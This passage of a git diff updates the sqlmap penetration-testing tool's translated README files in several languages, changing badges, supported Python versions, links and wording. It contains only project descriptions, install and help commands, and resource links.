[https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 711e919f705..d43e3f563e1 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 @@ -21,31 +21,31 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 +sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 -使用法 +使用方法 ---- -基本的なオプションとスイッチの使用法をリストするには: +基本的なオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -h -全てのオプションとスイッチの使用法をリストするには: +全てのオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 -sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 +sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 リンク ---- -* ホームページ: http://sqlmap.org +* ホームページ: https://sqlmap.org * ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md new file mode 100644 index 00000000000..12b59b31ea4 --- /dev/null +++ b/doc/translations/README-ka-GE.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. + +ეკრანის ანაბეჭდები +---- + +![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. + +ინსტალაცია +---- + +თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. + +ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან. + +გამოყენება +---- + +ძირითადი ვარიანტებისა და პარამეტრების ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: + + python sqlmap.py -h + +ვარიანტებისა და პარამეტრების სრული ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: + + python sqlmap.py -hh + +გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +ბმულები +---- + +* საწყისი გვერდი: https://sqlmap.org +* ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues +* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki +* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md new file mode 100644 index 00000000000..2542209833e --- /dev/null +++ b/doc/translations/README-ko-KR.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. + +스크린샷 +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다. + +설치 +---- + +[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. + +가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. + +사용법 +---- + +기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: + + python sqlmap.py -h + +전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: + + python sqlmap.py -hh + +[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. +sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. + +링크 +---- + +* 홈페이지: https://sqlmap.org +* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki +* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 트위터: [@sqlmap](https://x.com/sqlmap) +* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md new file mode 100644 index 00000000000..f114168410d --- /dev/null +++ b/doc/translations/README-nl-NL.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. + +Screenshots +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. + +Installatie +---- + +Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. + +Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**. + +Gebruik +---- + +Om een lijst van basisopties en switches te krijgen gebruik: + + python sqlmap.py -h + +Om een lijst van alle opties en switches te krijgen gebruik: + + python sqlmap.py -hh + +Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. +Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. + +Links +---- + +* Homepage: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues +* Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki +* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index bcc3485897a..e7b145e96b8 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -1,26 +1,26 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. +sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. -Zrzuty ekranowe +Zrzuty ekranu ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstruującą na wiki niektóre możliwości. +Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości. Instalacja ---- -Najnowsze tarball archiwum jest dostępne po klikcięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). +Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej. +do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej. Sposób użycia ---- @@ -33,18 +33,18 @@ Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh -Przykładowy wynik działania dostępny [tutaj](https://asciinema.org/a/46601). -Aby uzyskać listę wszystkich dostępnych fukcji, parametrów i opisów ich działania wraz z przykładami użycia sqlnap proponujemy odwiedzić [instrukjcę użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601). +Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- -* Strona projektu: http://sqlmap.org -* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Strona projektu: https://sqlmap.org +* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues +* Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) -* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* X: [@sqlmap](https://x.com/sqlmap) +* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index ea42053a328..9f5ebfd9938 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -1,8 +1,8 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- @@ -14,14 +14,13 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql Instalação ---- -Você pode baixar o arquivo tar mais recente clicando [aqui] -(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. Como usar ---- @@ -40,12 +39,12 @@ Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e Links ---- -* Homepage: http://sqlmap.org +* Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md new file mode 100644 index 00000000000..e130727feaa --- /dev/null +++ b/doc/translations/README-rs-RS.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. + +Slike +---- + +![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. + +Instalacija +---- + +Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. + +Korišćenje +---- + +Kako biste dobili listu osnovnih opcija i prekidača koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidača koristite: + + python sqlmap.py -hh + +Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linkovi +---- + +* Početna stranica: https://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki +* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RU.md similarity index 78% rename from doc/translations/README-ru-RUS.md rename to doc/translations/README-ru-RU.md index 4e46b296025..38147222530 100644 --- a/doc/translations/README-ru-RUS.md +++ b/doc/translations/README-ru-RU.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. @@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе. +sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе. Использование ---- @@ -39,12 +39,12 @@ sqlmap работает из коробки с [Python](http://www.python.org/do Ссылки ---- -* Основной сайт: http://sqlmap.org +* Основной сайт: https://sqlmap.org * Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: 